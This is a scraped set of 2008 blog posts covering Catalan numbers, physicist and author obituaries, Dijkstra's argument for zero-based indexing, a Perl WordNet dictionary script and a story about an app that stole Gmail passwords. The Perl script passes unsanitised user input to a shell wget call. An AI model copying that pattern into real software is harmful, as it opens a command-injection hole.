0pt 0pt 10px 10px; float: right; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGesxcBy4M3604r1Zc2F28ujF4EdUM6RwljbnHkFu7pT87pYhLhvIW64FiHs4AKEYKAOUdSp4zrIovSl6Jl4OvLOROsU05T18n5n1bt4PpSHAd90jCJ-IA2NkO0EBkBynVSSvWnrWAI0hX/s200/180px-RecursiveTree.JPG" alt="" id="BLOGGER_PHOTO_ID_5207398592581254130" border="0" /></a><br />First, it is clear that is impossible that the step_up() function will be executed <span style="font-weight: bold;">an even number of times, </span>for each failed execution two more executions occur. We should wonder: What is the probability that the function will enter 1 time? Clearly it is <span style="font-weight: bold;">p.</span><span style="font-weight: bold;"> </span>What is the probability of entering 3 times? This would mean failing the first time and succeeding the other 2 times, a total probability of <span style="font-weight: bold;">q.p.p</span> = <span style="font-weight: bold;">q.p^2</span>. If we want to calculate how many times the function will be executed 5 times we will have to count all possible 'combinations'. We will follow the encoding X1-X2-X3-...-Xn<span style="font-style: italic;"> </span>, if we would like to denote a case where the function <span style="font-weight: bold;">is executed <span style="font-style: italic;">n </span>times</span> where Xi is either F or S, meaning failure or success at <span style="font-weight: bold;">step</span> <span style="font-weight: bold;">i</span> respectively.<br /><br />With this notation we have:<br />step_up() enters 1 time: Cases: <span style="font-weight: bold;">S </span>Combinations:1<br />step_up() enters 3 times: Cases: <span style="font-weight: bold;">F-S-S </span>Combinations:1<br />step_up() enters 5 times: Cases: <span style="font-weight: bold;">F-F-S-S-S, F-S-F-S-S </span>Combinations: 2<br />step_up() enters 7 times:<br />Cases: <span style="font-weight: bold;">F-F-F-S-S-S-S, F-F-S-F-S-S-S, F-F-S-S-F-S-S, F-S-F-F-S-S-S, F-S-F-S-F-S-S</span><br />Combinations: 5<br /><br />Stop here. There is one important property of every X-X-X-X.. string <span style="font-weight: bold;">with n elements</span>, which is that <span style="font-weight: bold;">for any initial substring the number of S's is not greater than of the F's. </span>Why? Because if this was the case , the robot would climb up one stair <span style="font-weight: bold;">sooner </span>than <span style="font-weight: bold;">n steps! </span>Cool! Now, one more thing: It is easy to establish that the last element of the <span style="font-weight: bold;">every string </span>will be <span style="font-weight: bold;">S, </span>which actually means that the last step of the robot will be <span style="font-weight: bold;">to the upwards direction</span>. Ok, this is clear. So let's formulate again the problem.<br /><br />We have a string with two <span style="font-weight: bold;">possible </span><span style="font-weight: bold;">letters, </span>F and S, of length <span style="font-weight: bold;">2.n, </span>in which we have <span style="font-weight: bold;">n </span>F's and <span style="font-weight: bold;">n </span>S's and for <span style="font-weight: bold;">every initial substring </span>the number of S's <span style="font-weight: bold;">does not exceed </span>the number of F's. Now we want to calculate the number of all <span style="font-weight: bold;">valid combinations </span>for this case. But how to do that? Well, here comes the so-called <span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Dyck_language">Dyck words</a> </span>because what we described previously is what exactly how a Dyck word is defined! Now, there is this theorem that states that there exactly <span style="font-weight: bold;">Cn </span>Dyck words of <span style="font-weight: bold;">length 2.n</span>. What is Cn? But the <span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Catalan_number">Catalan numbers</a> </span>of course!<br /><br />What are the Catalan numbers?? There are defined with the following equation<br /><dl><dd> <img class="tex" alt="C_n = \frac{1}{n+1}{2n\choose n} = \frac{(2n)!}{(n+1)!\,n!} \qquad\mbox{ for }n\ge 0." src="http://upload.wikimedia.org/math/3/b/d/3bd4ac77a4af3f894d8e88ed7e1ba418.png" /></dd></dl><dl><dt>and they occur <span style="font-weight: bold;">very often </span>in <span style="font-weight: bold;">combinatorics </span>problems. In our problem they calculate all possible 'configurations' in which the step_up() function will be called exactly (2.n+1) times (Remember that the last step is always up, this means the last call is always successful). This means that the average calls of step_up() is calculated by,<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCt8oozmLfjA3iETeOsMVJjPHYgF6qYelArRTUe8yohjCBfe3kZZ15MKUY87TMZmy_mVKm6hRz4uzmSJshyphenhyphenEbsO9irL7nT7RKUTZbeYlwWbZgojDzsdY5m03CXj7ZGcBjMC6QI-A0lufis/s1600-h/equation.PNG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCt8oozmLfjA3iETeOsMVJjPHYgF6qYelArRTUe8yohjCBfe3kZZ15MKUY87TMZmy_mVKm6hRz4uzmSJshyphenhyphenEbsO9irL7nT7RKUTZbeYlwWbZgojDzsdY5m03CXj7ZGcBjMC6QI-A0lufis/s320/equation.PNG" alt="" id="BLOGGER_PHOTO_ID_5207389882387577826" border="0" /></a> Now the <span style="font-weight: bold;">generating function </span>of the Catalan numbers in the following equation<br /></dt><dd> <img class="tex" alt="c(x)=\sum_{n=0}^\infty C_n x^n." src="http://upload.wikimedia.org/math/0/9/9/099acd90b5a02e418266e228dce42baa.png" /><br /></dd><dt>is given by the equation</dt><dd> <img class="tex" alt="c(x) = \frac{1-\sqrt{1-4x}}{2x}" src="http://upload.wikimedia.org/math/9/4/d/94d7fea7d802e660581f91a096d43170.png" /></dd><dt>Using these equations in combination with the <span style="font-weight: bold;">derivative of c(x) </span>for the case with the <span style="font-style: italic;">n </span>coefficient it is easy to arrive to to <span style="font-weight: bold;">X = 1 / (p-q)</span></dt></dl>Wow! Recursion, probabilities, encoding, Dyck words, Catalan numbers, generating functions, all combined to arrive analytically to the complexity of the recursive function step_up()!! Now, what you will prefer, depends on you: Either an <span style="font-weight: bold;">elegant </span>and smart solution or a <span style="font-weight: bold;">rigorous, brute </span>but educating analytical approach! Your call!ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-11108780249283367662008-04-15T07:02:00.000-07:002008-12-09T07:12:01.638-08:00"Time Is What Prevents Everything From Happening At Once.." - John Wheeler (1911-2008)The quote continues: "<span style="font-style: italic;">Space is what prevents everything from happening to me!"<br /></span><span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/John_Archibald_Wheeler">John Wheeler</a><span style="font-weight: bold;"><span style="font-weight: bold;">, </span></span></span>has for a long time, been studying advanced concepts of theoretical physics, which for the most people are somewhat taken for granted, space,time, gravity and so on. He passed away in Sunday, 13th of April 2008, at the age of 97.<br /><br />John Wheeler was one among the last of the 'big school' of theoretical physic<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD_xdUJMmCsgBwESmjVL04zy7OYHYUFQaNnMnzSgsPtCbItthlrRdjigl_Ogvw-HqmX-CABzcX141QeSNjRRzrJrLCEFSZObJHMEhV1aEzyftuGZYne7fVuT9ORN2DO5uiRy1YHWt4VPMg/s1600-h/keep-walking-john-wheeler-einstein.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 227px; height: 219px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD_xdUJMmCsgBwESmjVL04zy7OYHYUFQaNnMnzSgsPtCbItthlrRdjigl_Ogvw-HqmX-CABzcX141QeSNjRRzrJrLCEFSZObJHMEhV1aEzyftuGZYne7fVuT9ORN2DO5uiRy1YHWt4VPMg/s200/keep-walking-john-wheeler-einstein.jpg" alt="" id="BLOGGER_PHOTO_ID_5189535072600836562" border="0" /></a>s. He has worked with legendary figures such as Niels Bohr, Oppenheimer and Albert Einstein(<span style="font-style: italic;">related photo)</span> and he is the inventor of the popular term '<span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Black_hole">black hole</a>'</span>, this strange 'creature' that is so big that even its own image cannot evade from its infinite gravity (visible light cannot reflect or be emitted) At some point in 1941 Wheeler joined the famous (or infamous) <span style="font-weight: bold;">Manhattan project. </span>Among his graduate students as a professor in Princeton, were Richard Feynman and Kip Thorne.<br /><br />I suppose, everybody from a CS background has developed at some stage of his life a certain interest for astronomy and physics. I, my self, at a young age was a fan of such fields along with science fiction. I never actually understood what was going on with these strange quantum equations but I think I find my self equally astonished when confronted with concepts like '<span style="font-style: italic;">black holes' </span>or '<span style="font-style: italic;">time bending'</span>. Astonished at least.<br /><br />You can find lots more information in the <a href="http://www.princeton.edu/main/news/archive/S20/82/08G77/index.xml?section=topstories">official press release from the Princeton University site</a>.ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-91262015902079726572008-04-06T00:43:00.000-07:002008-12-09T07:12:02.441-08:00Why The Array Index Should Start From 0I recently came across <a href="http://www.cs.utexas.edu/users/EWD/transcriptions/EWD08xx/EWD831.html">an article from Dijkstra</a>(<span style="font-style: italic;">photo)</span> explaining a fact that looked obvious to me before: Why should start indexing an array from 0. I was amused to find out that there is some clever thinking behind this.<br /><br />All popular languages, like C/C++, Java or Perl start indexing an array from 0 w<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_IVP_8CQmdAaRolBKHYESHPxzKlKK2BPj_z_HdIaREzolg-IrUVK59B03yGg4krYoPuL2hPHLX9MjYYuTb2I5SzRnSd-3RqTcMGUfc_kX8jE7g3B2vBycj0dOmkNAKM5Q4Pqrv5SJwOPG/s1600-h/dijkstra.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 203px; height: 233px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_IVP_8CQmdAaRolBKHYESHPxzKlKK2BPj_z_HdIaREzolg-IrUVK59B03yGg4krYoPuL2hPHLX9MjYYuTb2I5SzRnSd-3RqTcMGUfc_kX8jE7g3B2vBycj0dOmkNAKM5Q4Pqrv5SJwOPG/s200/dijkstra.jpg" alt="" id="BLOGGER_PHOTO_ID_5186052737706661282" border="0" /></a>hile the last index is the array length minus 1. While this is usual to most developers, it is not a de facto situation for all programming languages. For example in Fortran, when you declare an array with <span style="font-style: italic;">'integer a(10)</span>', aka an int array having 10 elements, the index starts from 1 and ends at 10 (however you can override this behavior using a statement like, <span style="font-style: italic;">integer a(0:9), </span>declaring an array with indices from 0 to 9, but anyway).<br /><br />The discussion over why the array index should start at zero is not a trivial one and relates to interesting concepts from computer science. First of all, it has strong relation to language design. For example in C, the name of an array is essentially a pointer, a reference to a memory location, and so the expression <span style="font-style: italic;"><span style="font-weight: bold;">array[n]</span></span> refers to a memory location <span style="font-weight: bold;">n-elements </span>away from the starting element. This means that the index is used as an <span style="font-weight: bold;">offset</span>. The first element of the array is exactly contained in the memory location that <span style="font-style: italic;"><span style="font-weight: bold;">array </span></span>refers (0 elements away), so it should be denoted as <span style="font-style: italic;"><span style="font-weight: bold;">array[0]</span></span>. Most programming languages have been designed this way, so indexing from 0 is pretty much inherent to the language.<br /><br />However, Dijkstra explains why we <span style="font-weight: bold;">should index </span>from 0. This is a problem on how to denote a subsequence of <span style="font-weight: bold;">natural numbers</span>, say for example 1,2,3,...,10. We have four solutions available:<br />a. <span style="font-style: italic;">0<i><i</i></span><span style="font-style: italic;"><i><</i></span><span style="font-style: italic;"><i>11 </i></span><i><br />b. <span style="font-style: italic;">1</span></i><span style="font-style: italic;"><i><</i></span><i><span style="font-style: italic;">=i</span></i><span style="font-style: italic;"><i><</i></span><i><span style="font-style: italic;">11<br /></span>c. <span style="font-style: italic;">0</span></i><span style="font-style: italic;"><i><</i></span><i><span style="font-style: italic;"><i>i<=10<br /></i></span><i>d. <span style="font-style: italic;">1</span></i></i><span style="font-style: italic;"><i><</i></span><i><i><span style="font-style: italic;">=i</span></i></i><span style="font-style: italic;"><i><</i></span><i><i><span style="font-style: italic;">=10<br /><br /></span></i></i>Dijkstra argues that the <span style="font-style: italic;">proper notation</span> should be able to denote <span><span style="font-style: italic;">naturally</span> </span>the two following cases:<i><i><br /></i></i><span style="font-weight: bold;">1. The subsequence includes the smallest natural number, 0<br />2. The subsequence is empty</span><br /><i><i><span style="font-style: italic;"><br /></span></i></i>Requirement <span style="font-weight: bold;">1. </span>leaves out <span style="font-weight: bold;"><span style="font-style: italic;">a.</span> </span>and <span style="font-weight: bold;"><span style="font-style: italic;">c.</span> </span>since they would have the form <span style="font-style: italic;">-1</span><span style="font-style: italic;"><i</span> which uses a number not lying in the natural number set (Dijkstra says this is <span style="font-style: italic;">ugly</span>). So we are left with <span style="font-weight: bold;"><span style="font-style: italic;">b.</span> </span>and <span style="font-weight: bold;"><span style="font-style: italic;">d.</span> </span>Now requirement <span style="font-weight: bold;">2. </span>leaves out <span style="font-weight: bold;"><span style="font-style: italic;">d.</span> </span>since for a set <span style="font-weight: bold;">including 0</span> that is <span style="font-weight: bold;">shrunk </span>to the empty one, <span style="font-weight: bold;"><span style="font-style: italic;">d.</span> </span>takes the form <span><span style="font-style: italic;">0</span></span><span style="font-style: italic;"><i><</i></span><span><span style="font-style: italic;">=i</span></span><span style="font-style: italic;"><i><</i></span><span><span style="font-style: italic;">=-1</span>, </span>which is a little...well, messed up! Subtracting the ranges in <span style="font-weight: bold;"><span style="font-style: italic;">b.</span> </span>we also get the <span style="font-weight: bold;">sequence length</span>, which is another plus. Hence we are left with <span style="font-weight: bold;"><span style="font-style: italic;">b.</span> </span>which is by far the most widely used notation in programming now.<br /><br />Now you know. So, remember and take pride in the fact that each time you write something like<br /><span><br /><span style="font-style: italic;">for(i=0;i</span></span><span style="font-style: italic;"><i><N;i++)<br />{<br />sum+= a[i];<br /></i></span>}<br />you are not just following the rules of language notation. You are also promoting mathematical beauty!<i><i><i><span style="font-style: italic;"><br /></span></i></i></i>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-5306769455446286752008-04-03T17:10:00.000-07:002008-12-09T07:12:02.571-08:00Perl by Example: English Dictionary In 22 Lines<span style="font-weight: bold;font-size:85%;" ><span>[Update #1]</span></span><span style="font-weight: bold;font-size:85%;" ><span style="font-style: italic;"> </span></span><span style="font-size:85%;"><span style="font-style: italic;">This post has been cited from Princeton's WordNet Project as a nice Perl extension. You can find lots of more of </span><a style="font-style: italic;" href="http://wordnet.princeton.edu/">information about WordNet here</a><span style="font-style: italic;">.</span><br /><br /></span><span style="font-weight: bold;font-size:85%;" ><span>[Update #2]</span></span><span style="font-style: italic;font-size:85%;" ><span style="font-weight: bold;"> </span></span><span style="font-size:85%;"><span style="font-style: italic;">Many thanks to my brother </span></span><span style="font-weight: bold; font-style: italic;font-size:85%;" >Costas</span><span style="font-size:85%;"><span style="font-style: italic;">, for buying me the ultimate Perl book: "Programming Perl, 3rd edition" by Larry Wall. Thanx bro! :)</span><br /></span><br /><a href="http://wordnet.princeton.edu/">WordNet</a> is an online English dictionary from the Princeton University. It has some hundreds of thousands of words and it keeps growing. You have absolute access to the resource and there are interfaces in practically all programming languages. It is not tough to build one from your own, but I ceize the opportunity to make an introduction to a really <span style="font-weight: bold;">special </span>programming language<span style="font-weight: bold;">: <a href="http://en.wikipedia.org/wiki/Perl">Perl</a></span>. Of course a crappy blog post cannot introduce a such extensive language as Perl, but additional Perl articles are sure to follow!<br /><span style="font-weight: bold;"><br /></span><span>For the history, </span><span style="font-weight: bold;">Perl </span>was designed as a so-called 'glue' language for Unix, simply for doing things that with other tools were somewhat difficult. Created in the mid-80's by <a href="http://en.wikipedia.org/wiki/Larry_Wall"><span style="font-weight: bold;">Larry </span></a><a href="http://en.wikipedia.org/wiki/Larry_Wall"><span style="font-weight: bold;">W</span></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXoJhFB_P1JPOYGsN5PCX8Ip3upN1MAhGivNYzTWYkaZZgwZxZgr00aaJFtN5vTzhay9oKo7ibzsQh3Ni5Bll1iVMHM0v6GK0NlCgHtzUCBjwjZf7JaWn_nFqcYTJ00947VeAFKlAg9zZW/s1600-h/perl-camel.gif"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXoJhFB_P1JPOYGsN5PCX8Ip3upN1MAhGivNYzTWYkaZZgwZxZgr00aaJFtN5vTzhay9oKo7ibzsQh3Ni5Bll1iVMHM0v6GK0NlCgHtzUCBjwjZf7JaWn_nFqcYTJ00947VeAFKlAg9zZW/s200/perl-camel.gif" alt="" id="BLOGGER_PHOTO_ID_5185196823739012466" border="0" /></a><a href="http://en.wikipedia.org/wiki/Larry_Wall"><span style="font-weight: bold;">all</span></a>, in a one-man project as a fast reporting tool, it is now spread to all machines and applications. I have never used Perl for large GUI-demanding projects, but it has been a killer for simple but heavy tasks.<br /><br />Whatever the objections, you may find Perl great for one simple but <span style="font-weight: bold;">rare </span>thing: <span style="font-weight: bold;">Perl has culture</span>. Its creator and all people actively involved in Perl's development share a number of values: Freedom, innovation and a <span style="font-weight: bold;">unique </span>sense of humor. To explain, I have two Perl books in my library: "Learning Perl" and "Programming Perl", affectionately called by the Perl community as the "<span style="font-weight: bold;">Alpaca Book</span>" and the "<span style="font-weight: bold;">Camel Book</span>" for the animals on the cover (Camel is the Perl mascot as shown in the figure). For me they are the most easy-read programming books that I have read. Anything else I use as a reference because I find programming books too hard to follow for long. But these differ. The style of writing and the humor that they transmit make you read them in literally one breath.<br /><br />Anyway, the best way to introduce a language is by example, so here is mine for Perl: To build an English dictionary based on Princeton's WordNet. Believe it or not, all in all it takes 22 lines to do it! You may see the interface with the program in the following video. When you are done you might want to check the source code with some comments for better understanding.<br /><object height="355" width="425"><param name="movie" value="http://www.youtube.com/v/OaFtBi_jEzw&hl=en"><param name="wmode" value="transparent"><embed src="http://www.youtube.com/v/OaFtBi_jEzw&hl=en" type="application/x-shockwave-flash" wmode="transparent" height="355" width="425"></embed></object><br /><br />The Perl source code follows:<br /><br /><span style="font-weight: bold;font-size:85%;" >my $word; <span style="font-style: italic;">#</span></span><span style="font-size:85%;"><span style="font-style: italic;">declares a scalar variable.Perl has two basic types: scalars and plurals(lists,hashes)</span></span><span style="font-weight: bold;font-size:85%;" ><br />our $message = "</span><span style="font-weight: bold;font-size:85%;" >\nPlease enter a word to look for:\n></span><span style="font-weight: bold;font-size:85%;" ><span style="font-weight: bold;">";</span><br />print $message; </span><span style="font-size:85%;"><span style="font-style: italic;">#prints our message</span><br /></span><span style="font-weight: bold;font-size:85%;" >while($word = <>) </span><span style="font-size:85%;"><span style="font-style: italic;">#reads the word the user searches for</span><br /></span><span style="font-weight: bold;font-size:85%;" > {<br />chomp($word); </span><span style="font-size:85%;"><span style="font-style: italic;">#remove last character (the '\n', new line)</span><br /></span><span style="font-weight: bold;font-size:85%;" > if($word eq "<") { system("cls"); </span><span style="font-size:85%;"><span style="font-style: italic;">#if user types "<" clear screen</span></span><br /><span style="font-weight: bold;font-size:85%;" >print $message; } </span><span style="font-size:85%;"><br /></span><span style="font-weight: bold;font-size:85%;" >else {<br />print "Connecting..";<br />my $url = "http://wordnet.princeton.edu/perl/webwn"."?"."s=".$word; </span><span style="font-size:85%;"><span style="font-style: italic;">#WordNet URL</span><br /></span><span style="font-weight: bold;font-size:85%;" > `wget -q -Oindex.html $url`; </span><span style="font-size:85%;"><span style="font-style: italic;">#download the results</span><br /></span><span style="font-weight: bold;font-size:85%;" >open FILE,"<","index.html"; </span><span style="font-size:85%;"><span style="font-style: italic;">#open the result web page locally</span><br /></span><span style="font-weight: bold;font-size:85%;" >print "\rOk.Results:";<br />while(<tmp_file><file><<file>FILE>) </file></file></tmp_file></span><span style="font-size:85%;"><file><span style="font-style: italic;">#for every line in file</span><br /></file></span><span style="font-weight: bold;font-size:85%;" ><file> {<br /><b>if(/<\s*b>$word<\/b>[^\(]+\(([^\)]*)\)/) </b></file></span><span style="font-size:85%;"><file><span style="font-style: italic;">#match a pattern, don't be scared!</span><br /></file></span><span style="font-weight: bold;font-size:85%;" ><file><b> { print "\n#def#$1"; } </b></file></span><span style="font-size:85%;"><file><span style="font-style: italic;">#..and print the word definition !</span><br /></file></span><span style="font-weight: bold;font-size:85%;" ><file><b> }<br />close FILE; </b></file></span><span style="font-size:85%;"><file><span style="font-style: italic;">#close file</span><br /></file></span><span style="font-weight: bold;font-size:85%;" ><file><b> print "\n>";<br />}<br />}</b></file></span><br /><br /><br />What might scare you off is the pattern matching line, especially if you have never come across regular expressions before. The logic is this: In WordNet result page, each word definition comes with original word in bold and the explanation in parentheses. For example if we search for 'developer' it may have the following format:<br /><span><span>...</span><span style="font-weight: bold;">developer</span></span>...(a man who develops)...<br />...<span style="font-weight: bold;">developer</span>...(sometimes referring people creating software)...and so on<br />What the pattern matching does it to match if the line has the word we search for in bold and then extracts the sentence in parentheses.<br />When it comes to <span style="font-weight: bold;">pattern matching</span>, Perl is the king.<br /><br />That's all. If you already have a Perl distribution, you can test it yourself. If you don't and you would like to give it try, for Windows there mainly <span>two distributions</span>. The one is from <span>ActiveState </span>and you can download a Windows Perl distribution named <span style="font-weight: bold;">ActivePerl</span><a href="http://www.activestate.com/store/productdetail.aspx?prdGuid=81fbce82-6bd5-49bc-a915-08d58c2648ca"> here</a> (<span style="font-style: italic;">just click the download button)</span>. The other is called <span><span style="font-weight: bold;">Strawberry Perl</span>, </span>it recently came out of beta and you can find it <a href="http://strawberryperl.com/">here</a>. I haven't tried but it may well be good.<br /><br />Needless to say, <span>Perl is free</span> and always will be! So ride the camel and enjoy!ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.comtag:blogger.com,1999:blog-8823755788673864603.post-88837620680062086232008-03-18T23:29:00.000-07:002008-12-09T07:12:03.692-08:00Arthur C. Clarke: 90 Orbits Around The Sun (1917-2008)Well, I guess this is something that we should get used to: Living in a world without our heroes. This year, <a href="http://developeronline.blogspot.com/2008/01/robert-james-fischer-king-is-dead-1943.html">Robert James Fischer</a>, a hero of childhood died, and now it is <span style="font-weight: bold;">Arthur Clarke</span>, who died today(19 March 1:30am Sri Lanka local time) at the Apollo Hospital in Colombo, Sri Lanka.<br /><br />Sir Arthur Clarke was a writer (among other things), whose work we have hard time classifying. Was he a fiction writer? He could be, because he wrote about computers with human intelligence, extra-terrestrial worlds, different living species and so on. Was he writer and a technology popularizer? He could be since he write about computers, space expeditions, wireless<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYw8vUn4l9d4kCFqeS88_50W3910BypPFqsciMoj3CN0w5ieXLjwn0L3oKzo0E8gN16z-LvwspeLejACiMee5ujqnqojaeiLEBcYFdFoCOcBDfnxPT4kOcBy5O_fM6qwD57jVduCR57x7i/s1600-h/theSentinel.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 172px; height: 275px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYw8vUn4l9d4kCFqeS88_50W3910BypPFqsciMoj3CN0w5ieXLjwn0L3oKzo0E8gN16z-LvwspeLejACiMee5ujqnqojaeiLEBcYFdFoCOcBDfnxPT4kOcBy5O_fM6qwD57jVduCR57x7i/s200/theSentinel.jpg" alt="" id="BLOGGER_PHOTO_ID_5179350544969024354" border="0" /></a> communications and being a step ahead from his time, predicted the <span style="font-weight: bold;">man on the moon by 1970,</span> the invention of <span style="font-weight: bold;">satellites</span> and so many other. His <span style="font-weight: bold;">"Space Odyssey", </span>'featuring' the <span style="font-weight: bold;">HAL </span>supercomputer (actually a wordplay of <span style="font-weight: bold;">IBM</span>, if you shift by one the letters), was<span style="font-weight: bold;"> </span>directed by Stanley Kubrick and is one of the kind in science fiction films.<br /><br />However, my favorite was by far "<a href="http://en.wikipedia.org/wiki/The_Sentinel_%28short_story%29">The Sentinel</a>", a short passage that I read years ago. It is a about an <span style="font-weight: bold;">artifact </span>that astronauts discover in Moon and bring to Earth, but the humans cannot decode what it is, only that it constantly transmits a "beep" over the universe. They want to analyze the artifact but it resists until nuclear power is used to crack it open. "<span style="font-style: italic;">Now its signals have ceased, and those whose duty it is will be turning their minds upon Earth. Perhaps they wish to help our infant civilization. But they must be very, very old, and the old are often insanely jealous of the young.</span>..<span style="font-style: italic;">Now we should wait them to come...</span>" The artifact was put there by an extra terrestrial civilization to warn them for the development of intelligence in this little promising planet, called Earth! If someone could make it stop, he must be intelligent enough to manage powers such as the nuclear. Brilliant and thrilling!<br /><br />It is weird enough that Clarke was born nearly at the time <span style="font-weight: bold;"><a href="http://en.wikipedia.org/wiki/Jules_Verne">Jules Verne</a>, </span>another writer of his kind, who envisioned space and underwater travels with spaceships and submarines, passed away. He lived for the last 50 years of his life in Sri Lanka and since 1989 needed to use wheel chair since he was diagnosed with <span style="font-weight: bold;">post-polio syndrome.</span><br /><br /><object width="425" height="355"><param name="movie" value="http://www.youtube.com/v/3qLdeEjdbWE&hl=en"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/3qLdeEjdbWE&hl=en" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object><br />Recently, approaching the age of 90, or as he humorously says "completing the 90th orbit around the sun", Clarke created a moving goodbye video for all of his fans. You can find it also in Youtube <span style="font-weight: bold;"><a href="http://www.youtube.com/watch?v=eLXQ7rNgWwg">here</a>.</span> He prefers to be remembered as a writer and his last words on the video are from Rudyard Kipling's, <span style="font-style: italic;">"The Books I Leave Behind",</span><br /><br /><div style="text-align: center;"><span style="font-weight: bold; font-style: italic;">If I have given you delight</span><br /><span style="font-weight: bold; font-style: italic;">By aught that I have done,</span><br /><span style="font-weight: bold; font-style: italic;">Let me lie quiet in that night</span><br /><span style="font-weight: bold; font-style: italic;">Which shall be yours anon:</span><br /><span style="font-weight: bold; font-style: italic;">And for that little, little span</span><br /><span style="font-weight: bold; font-style: italic;">The dead are borne in mind</span><br /><span style="font-weight: bold; font-style: italic;">Seek not to question other than</span><br /><span style="font-weight: bold; font-style: italic;">The books I leave behind.</span><br /><br /></div>ElectricTheaterhttp://www.blogger.com/profile/00875709636921240567noreply@blogger.com0tag:blogger.com,1999:blog-8823755788673864603.post-66886447469791450932008-03-08T20:12:00.000-08:002008-12-09T07:12:05.851-08:00A Gmail Passwords Theft StoryNo talk about technologies. Not this time. Now, a little course on programming ethics using a real life experience.<br /><br />I was roaming the web, together with Mrs. Insomnia, early in the morning when I read a story of programming horror. It was talking about a malicious software application that stole Gmail accounts. You can found it in this <a href="http://www.codinghorror.com/blog/archives/001072.html">Coding Horror blog post</a>. Having nothing better to do I decided to verify the story and see for myself what was going on.<br /><br />To begin with, there was this guy with the codename "John Terry" (<a href="http://en.wikipedia.org/wiki/John_Terry">John Terry</a> is actually a football player, Chelsea's skipper and Chelsea is not only Hillary Clinton's daughter but also a football club in England), who developed an application called <span style="font-weight: bold;">G-Archiver</span>. This application can be found on popular software hosting sites like brothersoft.com. Anyway, what this terrific application does, is to back up your Gmail account to a local drive. Of course at some time you have to enter your <span style="font-weight: bold;">Gm</span><span style="font-weight: bold;">ail account details, </span>aka the <span style="font-weight: bold;">username </span>and the <span style="font-weight: bold;">password. </span>Well, the troubles begin here, because it seems that the developer has <span style="font-weight: bold;">hardcoded </span>into the application, a routine that sends the Gmail account details of the users to his own! So, every time a user enters his information, an e-mail is sent to the wise-guy, of course with a copy of the account information. If he is not a malicious password thief, this guy must be a <span style="font-weight: bold;">mail spam mazochist</span>.<br /><br />Fortunately, a programmer who used the software, reverse-engineered G-Arc<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8JI_vFdkuAFYHNS60KOfpzio5buKNcOPwJYYRWbKUYyF1pFpNiJQyp8VMgkNkokD0NCQjdzQMxm-0_XS0ioOLxA2TpkGPUS_nEj7DoEkBYnvdGtFzqSkgGMoJDM995UnsqQ3mTg_iUvpg/s1600-h/gmail-password-thief-screenshot3.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 270px; height: 172px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8JI_vFdkuAFYHNS60KOfpzio5buKNcOPwJYYRWbKUYyF1pFpNiJQyp8VMgkNkokD0NCQjdzQMxm-0_XS0ioOLxA2TpkGPUS_nEj7DoEkBYnvdGtFzqSkgGMoJDM995UnsqQ3mTg_iUvpg/s200/gmail-password-thief-screenshot3.jpg" alt="" id="BLOGGER_PHOTO_ID_5176390911408786482" border="0" /></a>hiver (written in .NET). I can imagine his surprise when he found out what was going on. The Gmail account details of the malicious developer were there and he used them to login into his account. The picture shows exactly this. There were <span style="font-weight: bold;">about 2000 e-mails </span>waiting for him, that were all <span style="font-weight: bold;">stolen <span style="font-weight: bold;">Gmail usernames and passwords </span></span>from other users. Now there is a name <span style="font-style: italic;">Pawel Lesnikowski </span>at the developer's contacts. If you Google search for the name, you will jump onto a site with .NET libraries and applications. Remember the name for later (see <span style="font-style: italic;"><span style="font-weight: bold;">Update #2</span></span> at end of post)<br /><br />Now we should make our own investigation and take it a little further. For <a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL-djiqXtyCINCp38S1xd1UBH16exG77wZsLyuXy6uJZBOlDFxTvkyTo72vJF91o3dfD8TRpA-7E-ga3oJZeQMgYO66CgEVILw2LH68DDSM5ngMCxJQ97uBLB5C8SBTs1mUes7r4K8XGJn/s1600-h/theft-lesnikowski.JPG"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 205px; height: 196px;" 